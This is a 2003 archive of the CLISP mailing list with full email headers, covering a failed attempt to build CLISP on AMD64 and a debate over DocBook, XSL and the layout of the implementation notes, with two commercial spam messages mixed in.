From fujimori@ns.fujimori.cache.waseda.ac.jp Wed May 21 05:08:01 2003 Received: from ns.fujimori.cache.waseda.ac.jp ([133.9.152.153]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ISNa-0004gT-00 for ; Wed, 21 May 2003 05:07:34 -0700 Received: (qmail 56175 invoked by uid 0); 21 May 2003 12:07:06 -0000 Received: from localhost (HELO ns.fujimori.cache.waseda.ac.jp) (127.0.0.1) by localhost with SMTP; 21 May 2003 12:07:06 -0000 To: clisp-list@lists.sourceforge.net From: Yoriaki FUJIMORI Message-Id: Subject: [clisp-list] clisp on Linux/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 05:09:11 2003 X-Original-Date: Wed, 21 May 2003 21:07:06 +0900 Dear Listers, I am trying to compile clisp on an opteron based linux box. By defining IA64, i.e. `cc -DIA64', I created a binary. But, it does not run. I saw something like, STACK OVERFLOW error. Is there anyone challengin a similar task here? I am happy in getting any clue or pointer for the compilation. Thanks in advance for any responses. Yoriaki From sds@gnu.org Wed May 21 07:23:48 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IUVP-0005nN-00 for ; Wed, 21 May 2003 07:23:47 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out003.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030521142337.XUC4805.out003.verizon.net@loiso.podval.org>; Wed, 21 May 2003 09:23:37 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4LENd2o008457; Wed, 21 May 2003 10:23:39 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4LENcqB008453; Wed, 21 May 2003 10:23:38 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Yoriaki FUJIMORI Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Linux/AMD64 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [68.160.9.251] at Wed, 21 May 2003 09:23:37 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 07:24:06 2003 X-Original-Date: 21 May 2003 10:23:38 -0400 > * In message > * On the subject of "[clisp-list] clisp on Linux/AMD64" > * Sent on Wed, 21 May 2003 21:07:06 +0900 > * Honorable Yoriaki FUJIMORI writes: > > I am trying to compile clisp on an opteron based linux box. > By defining IA64, i.e. `cc -DIA64', I created a binary. > But, it does not run. I saw something like, STACK OVERFLOW error. take a look here: -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Is there another word for synonym? From senwer@public.qz.fj.cn Wed May 21 09:07:18 2003 Received: from [218.5.152.189] (helo=public.qz.fj.cn) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IVUK-0003Fn-00 for ; Wed, 21 May 2003 08:26:45 -0700 From: "Rachel" To: clisp-list@lists.sourceforge.net Content-Type: multipart/mixed;charset="ISO-8859-1" Reply-To: senwer@public.qz.fj.cn X-Priority: 2 X-Mailer: Microsoft Outlook Express 5.00.2615.200 Message-Id: Subject: [clisp-list] manufacturer of garments and bags in China Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 09:08:04 2003 X-Original-Date: Wed, 21 May 2003 23:26:46 +0800 Dear Sir or Madam, I have the pleasure to know your esteemed corp. We are a manufacturer & exporter of garments and bags in Quanzhou, China. I think we can cooperate and supply you with garments as you need. The following is some introductions about our company. Set up: 1988 Type: manufacturer & exporter Product: knitted garments and bags Employees: 1300 persons ( garments factory: 500 bags factory: 800) Product data: product (main items) capacity(/year) brief 2,000,000dzs baby body 1,800,000dzs boxer short 200,000dzs pajama 50,000dzs soft bag 1,500,000pcs hard bag 500,000pcs Mimn order: 300dzs for garments Payment: irrevocable L/C at sight Bank: BANK OF CHINA Our garment factory mainly specialize in Lady's and men's underwear, children's wear, baby's wear, pajama, boxer shorts, T-shirt, etc. The materials we often use are cotton, T/C, Polyester, Polyamide, Elasthan, and Polyamide. Our products are design with PAD system, produced with advanced equipment, processed in highly quality control system with seasoned workmanship and high efficiency. Our main market is Europe, Australia, Japan and America. We also accept the orders designed and required by costumers. You can see some pictures of our samples through our web http://www.senwer.com. (For more pictures in your interesting, pls kindly contact us directly). Our bag factory was founded in 1988, too. We produce all kinds of bags, including suitcase, backpack, travel bag, shoulder bag, sport bag, trolley, camera bag, tote bag, school bag, computer case, luggage,waist bag, notecase, etc. And the goods have met a great favor in the Europe countries, Australia and America because of their good quality, beautiful design and competitive price. Thank you very much. Hope you will give us an opportunity to do business together and we will try our level best to fulfill your present requirement. Should you therefore need any more details for your clarification, pls do not hesitate to contact us. And you are welcome to visit our factories. With best regards Rachel Wang Mob:0086-13960286700 E-mail:rachel@senwer.com Jason Chen Mob:0086-13959893400 E-mail: jasonchen@senwer.com Vicki Wang Mob:0086-13960228599 E-mail: vicki@senwer.com ----------------------------------------------------------------------------- SENWER GARMENTS CO., LTD. ADD: Room F202, Fugui Renjia Building, Liuguan Road, Quanzhou, Fujian, China. Tel: 0086-595-2506700 Fax: 0086-595-2563400 P.C.:362000 Http://www.senwer.com E-mail: senwer@public.qz.fj.cn ----------------------------------------------------------------------------- From lin8080@freenet.de Wed May 21 22:17:04 2003 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IiRq-0002w4-00 for ; Wed, 21 May 2003 22:17:02 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with asmtp (Exim 4.20) id 19IiRm-0001zo-4J for clisp-list@lists.sourceforge.net; Thu, 22 May 2003 07:16:58 +0200 Received: from b75a6.pppool.de ([213.7.117.166] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.20 #1) id 19IiRl-0002nr-Cq for clisp-list@lists.sourceforge.net; Thu, 22 May 2003 07:16:57 +0200 Message-ID: <3ECC5E22.92E256A2@freenet.de> From: LIN8080 X-Mailer: Mozilla 4.7 [de]C-CCK-MCD CSO 2.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] working on Implementations Notes layout Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 22:18:02 2003 X-Original-Date: Thu, 22 May 2003 07:20:34 +0200 Hallo In Impnotes.html - 1 564 205 - version 2.30.1 with: last modified 2003-05-15 I do some layout changes. The important are: - strip all span-tags, all div-tags and all class-ids in case one download this file for off-line browsing the *.css file gets lost. Therefor this tags make no sence (until they where included in the head-area of this file). - changed all Hyper-Spec online-links to local hard drive c:\hypers~1\... in most cases when one looks inside this file, this happens off-line. The number of Hyper-Spec links is massive and often one needs to consult Hyper-Spec pages for more infos. - file-size is now 849 822 bytes - other modifications change the table-layout to an uniform look replaced some dl, dt, dd-tags to ul, li tags (the rest will follow) replaced all " to " &(qoute); (see "-//W3C//DTD HTML 4.01//EN") in source set all links in a new line removed all h1, h2, h3... tags. Inside this file all is important, except some big nice headlines, hm? .... - else you can download the modified file as impmod2.zip - 160 321 bytes at (hope it works) http://people.freenet.de/LIN8080/Impmodi2.zip done is partI this ends with Chapter 27. In partII -Extensions- no table is visible because the classids are removed. Planed is a version with less tables (this will speed up load-time) - Please send comments stefan From 2j69ft9p@hotmail.com Wed May 21 23:03:11 2003 Received: from [218.19.180.43] (helo=SERVER) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IjAS-0005PN-00; Wed, 21 May 2003 23:03:11 -0700 Received: from jqw.pzum.com (HELO gxsga) ([172.236.156.0]) by SERVER id <9649372-72036>; Thu, 22 May 2003 05:59:13 -0100 Message-ID: From: "Yolanda Goddard" <2j69ft9p@hotmail.com> To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="EDFAF27DC8.B.56CD.BF_" Subject: [clisp-list] gadget of the year zenkma Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 21 23:04:03 2003 X-Original-Date: Thu, 22 May 03 05:59:13 GMT This is a multi-part message in MIME format. --EDFAF27DC8.B.56CD.BF_ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable The Worlds Smallest Digital Camera Has Arrived !!! Webcam + Digital Still Camera + Digital Video Camera Special Limited Web Offer ... http://www.liuyi-best.com/cam4 Includes: - SmartMini Cam - 1 AAA battery...yes, battery included! - CD-ROM with drivers & image editing software - USB connecting cable - Keychain for instant portability! While Quantities Last ONLY $39.95 ($199 value) http://www.liuyi-best.com/cam4 remove http://www.liuyi-best.com/remove.htm qjnojj iru j xd cj umwmnfpf cxfnej q bnovmkppg --EDFAF27DC8.B.56CD.BF_-- From fujimori@ns.fujimori.cache.waseda.ac.jp Thu May 22 00:22:29 2003 Received: from ns.fujimori.cache.waseda.ac.jp ([133.9.152.153]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IkOo-0006ij-00 for ; Thu, 22 May 2003 00:22:02 -0700 Received: (qmail 677 invoked by uid 0); 22 May 2003 07:21:33 -0000 Received: from localhost (HELO ns.fujimori.cache.waseda.ac.jp) (127.0.0.1) by localhost with SMTP; 22 May 2003 07:21:33 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Linux/AMD64 In-reply-to: Your message of "21 May 2003 10:23:38 -0400." From: Yoriaki FUJIMORI Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 00:23:06 2003 X-Original-Date: Thu, 22 May 2003 16:21:33 +0900 I recomiled libsigsegv.a after modifying fault-posix.c in it. Then I recompiled clisp with gcc3.3 with -DIA64 and without optimization. Lisp.run started to create *.mem, but in the middle of loading macros1.lisp, it dies with core. On gdb, I read Program received signal SIGABRT. Aborted. 0x0000002a958f4059 in kill() from /lib64/libc.so.6 Hmm.... Any clues? Yoriaki From Joerg-Cyril.Hoehle@t-systems.com Thu May 22 00:39:31 2003 Received: from [195.243.210.197] (helo=mail2.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ikfi-0001pX-00 for ; Thu, 22 May 2003 00:39:31 -0700 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 22 May 2003 09:39:13 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 22 May 2003 09:39:21 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: lin8080@freenet.de Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] working on Implementations Notes layout MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 00:40:06 2003 X-Original-Date: Thu, 22 May 2003 09:39:21 +0200 Hi, LIN8080 wrote: >In Impnotes.html - 1 564 205 - version 2.30.1 >with: last modified 2003-05-15 >I do some layout changes. The important are: Uh oh. This seems quite unfortunate to me since impnotes.HTML is not the place to work on. The HTML is automatically generated from a impnotes.XML (Docbook XML). So instead of improving mechanically generated HTML, I believe the only viable way is to change the transformation of XML (Docbook) into HTML. Sam already plays with such transformations, since CLISP typically comes with one huge impnotes file, while clisp.cons.org also has a split version (every chapter in a separate file), which is more user-friendly for external reference (URLs). Comparing various impnotes.html files (clisp-2.27, 2.28 etc.), you'll see quite some layout changes Sam did. See the CVS online repository http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/doc/ I fear that you wasted some time working on .html. You'll probably have to learn about DSL, e.g. see doc/impnotes.dsl, which influences how impnotes.XML gets translated into impnotes.HTML, or you propose another way of turning docbook XML into html. I never looked into dsl myself. I still have to learn docbook (and still am no friend, to say the least, of the verbosity of XML and thus docbook). Furthermore, impnotes.html from clisp 2.30 or 2.30.1 is almost outdated as soon as it appears. The up-to-date source is always in CVS. But Sam certainly accepts patches to released versions of CLISP (even though he always begs for patches against CVS, at least for source code). >- file-size is now 849 822 bytes I'm pretty sure there's room for improvement. E.g. impnotes for 2.27 was roughly this size, while 2.28 was >1MB. Some content was added, but also some of the HTML generated differently. My personal opinion is also that there's a bit too much of cross-linking to CLHS. Every time e.g. CHARACTER appears in text, I see no need to have that link to CLHS. When I browse impnotes, I always have to check the status line to see "is this a link to another interesting section or is this yet another boring link to CLHS?". >- strip all span-tags, all div-tags and all class-ids > in case one download this file for off-line browsing the *.css file >gets lost. Sam added .css file to the distribution (or put it in all clisp.cons directories where it was needed, I don't remember exactly) when I reported that problem here. So people can either o download this .css file from where they found impnotes.html o disable CSS (works in Netscape for me). >- changed all Hyper-Spec online-links to local hard drive >c:\hypers~1\... That really needs customization :-) This is done at install time for those who build CLISP from source. Maybe there should be a small lisp program to do this at any time. (defun change-impnotes-clhs-references (impnotes-file clhs-url) #) Regards, Jorg Hohle. From sds@gnu.org Thu May 22 07:06:10 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Iqhu-0002xS-00 for ; Thu, 22 May 2003 07:06:10 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out005.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030522140603.KONL25152.out005.verizon.net@loiso.podval.org>; Thu, 22 May 2003 09:06:03 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4ME692o000565; Thu, 22 May 2003 10:06:09 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4ME66BY000561; Thu, 22 May 2003 10:06:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: lin8080@freenet.de, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout References: <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de> Message-ID: Lines: 67 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [68.160.9.251] at Thu, 22 May 2003 09:06:03 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 07:07:04 2003 X-Original-Date: 22 May 2003 10:06:06 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] working on Implementations Notes layout" > * Sent on Thu, 22 May 2003 09:39:21 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I fear that you wasted some time working on .html. You'll probably > have to learn about DSL, e.g. see doc/impnotes.dsl, which influences > how impnotes.XML gets translated into impnotes.HTML, or you propose > another way of turning docbook XML into html. I never looked into dsl > myself. forget DSSSL. XSL is the way to go. Note that impnotes in and are generated with XSL while the released version and are generated using DSSSL. the framework is not yet in the CVS because I am also trying to get the CLISP man page into Docbook/XML so that both groff and html version would be generated from the same XML sources. > I still have to learn docbook (and still am no friend, to say the > least, of the verbosity of XML and thus docbook). who is?! > My personal opinion is also that there's a bit too much of > cross-linking to CLHS. Every time e.g. CHARACTER appears in text, I > see no need to have that link to CLHS. think of the word CHARACTER as an object, with many properties (font, bg, fg, link &c). An object has the same properties everywhere. > When I browse impnotes, I always have to check the status line to see > "is this a link to another interesting section or is this yet another > boring link to CLHS?". When you read impnotes "from cover to cover", you can get used to the extensive linking. When you use it as a reference, you appreciate that every term in the fragment you are interested in has an appropriate link. > >- changed all Hyper-Spec online-links to local hard drive > >c:\hypers~1\... > That really needs customization :-) > This is done at install time for those who build CLISP from source. > Maybe there should be a small lisp program to do this at any time. > (defun change-impnotes-clhs-references (impnotes-file clhs-url) #) 1. change the entity &clhs; in cl-ent.xml to point to your favorite CLHS location. 2. regenerate clhs-ent.xml from the index file at that location using CLOCC/CLLIB/clhs.lisp () 3. edit references in cl-ent.xml to &clhs; by hand. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux nobody's life, liberty or property are safe while the legislature is in session From Joerg-Cyril.Hoehle@t-systems.com Thu May 22 09:20:06 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IsnU-0001YV-00 for ; Thu, 22 May 2003 09:20:04 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 22 May 2003 18:19:54 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 22 May 2003 18:19:54 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04700614@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: lin8080@freenet.de Subject: [clisp-list] working on Implementations Notes layout MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 09:21:02 2003 X-Original-Date: Thu, 22 May 2003 18:19:52 +0200 Hi, >Von: Sam Steingold [mailto:sds@gnu.org] >forget DSSSL. >XSL is the way to go. Oh boy, yet another verbose ugliness! I recently browsed the book "Web-publishing with LaTeX" or some such from Michael Goossens and Sebastian Rahtz. It had complete examples of XSL for bibtex: Boy, what an unreadable nightmare compared to the clean, concise and powerful SXML pre-post-order transformers that I once wrote in Scheme using Oleg's tiny code. Please look up http://pobox.com/~oleg/ftp/Scheme/SXML.html SXML transformers could IMHO be ported to CL in an afternoon. XML parsers in CL seem to be lurking around cliki. BTW, I used that to generate validated HTML from validatable templates, using Kawa (a Scheme environment & compiler to JVM bytecode). Regards, Jorg Hohle. From sds@gnu.org Thu May 22 10:49:04 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IuBb-00009b-00 for ; Thu, 22 May 2003 10:49:04 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030522174857.OQXT28930.out004.verizon.net@loiso.podval.org>; Thu, 22 May 2003 12:48:57 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4MHn32o001441; Thu, 22 May 2003 13:49:03 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4MHn2m0001437; Thu, 22 May 2003 13:49:02 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, lin8080@freenet.de Subject: Re: [clisp-list] working on Implementations Notes layout References: <9F8582E37B2EE5498E76392AEDDCD3FE04700614@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04700614@G8PQD.blf01.telekom.de> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [68.160.9.251] at Thu, 22 May 2003 12:48:57 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 10:50:02 2003 X-Original-Date: 22 May 2003 13:49:02 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04700614@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] working on Implementations Notes layout" > * Sent on Thu, 22 May 2003 18:19:52 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >Von: Sam Steingold [mailto:sds@gnu.org] > >forget DSSSL. > >XSL is the way to go. > > Oh boy, yet another verbose ugliness! yep, big time! I want to use XSL and DocBook/XML not because I like these abominations, but because they are standard. The same reason applies to why I want to switch from *.d to *.c in the CLISP sources. We need to lower the barrier to entry, which means using the standard tools whenever possible. Can we concoct a beautiful concise format from which we could generate html, pdf, ps, tex, groff &c? Yes! Should we? NO! > XML parsers in CL seem to be lurking around cliki. I wrote one (CLOCC/CLLIB/xml.lisp) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From kraehe@copyleft.de Thu May 22 13:38:43 2003 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19IwpL-00074H-00 for ; Thu, 22 May 2003 13:38:15 -0700 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout1.freenet.de with asmtp (Exim 4.20) id 19Iwoq-00046Y-Gp; Thu, 22 May 2003 22:37:44 +0200 Received: from bead2.pppool.de ([213.7.234.210] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.20 #1) id 19Iwoq-0004lY-3a; Thu, 22 May 2003 22:37:44 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19IxT6-0006CD-00; Thu, 22 May 2003 23:19:20 +0200 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout Message-ID: <20030522211920.GA23685@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 13:39:06 2003 X-Original-Date: Thu, 22 May 2003 23:19:20 +0200 Moin Sam Steingold, > > Oh boy, yet another verbose ugliness! > yep, big time! I did a lot of GML,SGML and XML but my home pages are now driven by CGI::pWiki, because its much more natural to write the content and let the computer worry about how to understand the layout. what about using Perldoc or pWiki like documentation. So we have sparse coding, and readable documentation. Take a look at some of my URLs with a ?plain as extension to show the plain file on the disk. e.g. on [1] on text, lists, wiki links, tables and even ascii art. you might run into =location entries, when asking for ?plain, just follow them. CGI::pWiki is implemented as a CGI to implement an apache handler for *.html, so if the browser calls for *.html there might be a =location or purl redirection. clispWiki should be written in CLisp, and be a part of the source as it has to process the documentation into html and/or latex. It should be a subset of CLiki, to batch process CLiki pages. We would than just need to convince the admin of CLiki for CVS upload areas, and we can form a clisp documentation coding standard, by a rough consense of running code, that is part of standard clisp source tree ;) > I want to use XSL and DocBook/XML not because I like these > abominations, but because they are standard. they are recommendations not standards. UN/EDIFACT would be a document standard, but better dont think about using it for documentations (; > We need to lower the barrier to entry, which means using the standard > tools whenever possible. I often had the fealing that standards and like UN/EDIFACT or ISO 9001 are used to raise the barrier to entry ;) > Should we? > NO! i can hardly agree - but i wont find time to write a clispWiki right now ;( sorry for wasting bandwidth with vaporware - but you are invited to cut'n'paste the regexp's of CGI::pWiki in any other GPLed code ;) > > XML parsers in CL seem to be lurking around cliki. > I wrote one (CLOCC/CLLIB/xml.lisp) *aehm* whats the base URL ? peace on your way, Michael [1] : http://open360.copyleft.de/OS360/OS_360.html?plain (intro text, lists and wiki links) or http://open360.copyleft.de/OS360/IPL_into_MVT.html?plain (typical PerlDoc like documentation) or http://www.clamv.iu-bremen.de/CLAMV/TeachingLab.html?plain (subtitles, tables and text) or http://rom.copyleft.de/Maps/Southern_Part_of_Midgaard.html?plain (tables and ascii art) -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Thu May 22 13:45:13 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Iww5-0002to-00 for ; Thu, 22 May 2003 13:45:13 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030522204506.RMHI27254.pop017.verizon.net@loiso.podval.org>; Thu, 22 May 2003 15:45:06 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4MKjC2o003951; Thu, 22 May 2003 16:45:12 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4MKjC0K003947; Thu, 22 May 2003 16:45:12 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout References: <20030522211920.GA23685@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030522211920.GA23685@bakunin.copyleft.de> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Thu, 22 May 2003 15:45:06 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 22 13:46:03 2003 X-Original-Date: 22 May 2003 16:45:12 -0400 > * In message <20030522211920.GA23685@bakunin.copyleft.de> > * On the subject of "Re: [clisp-list] working on Implementations 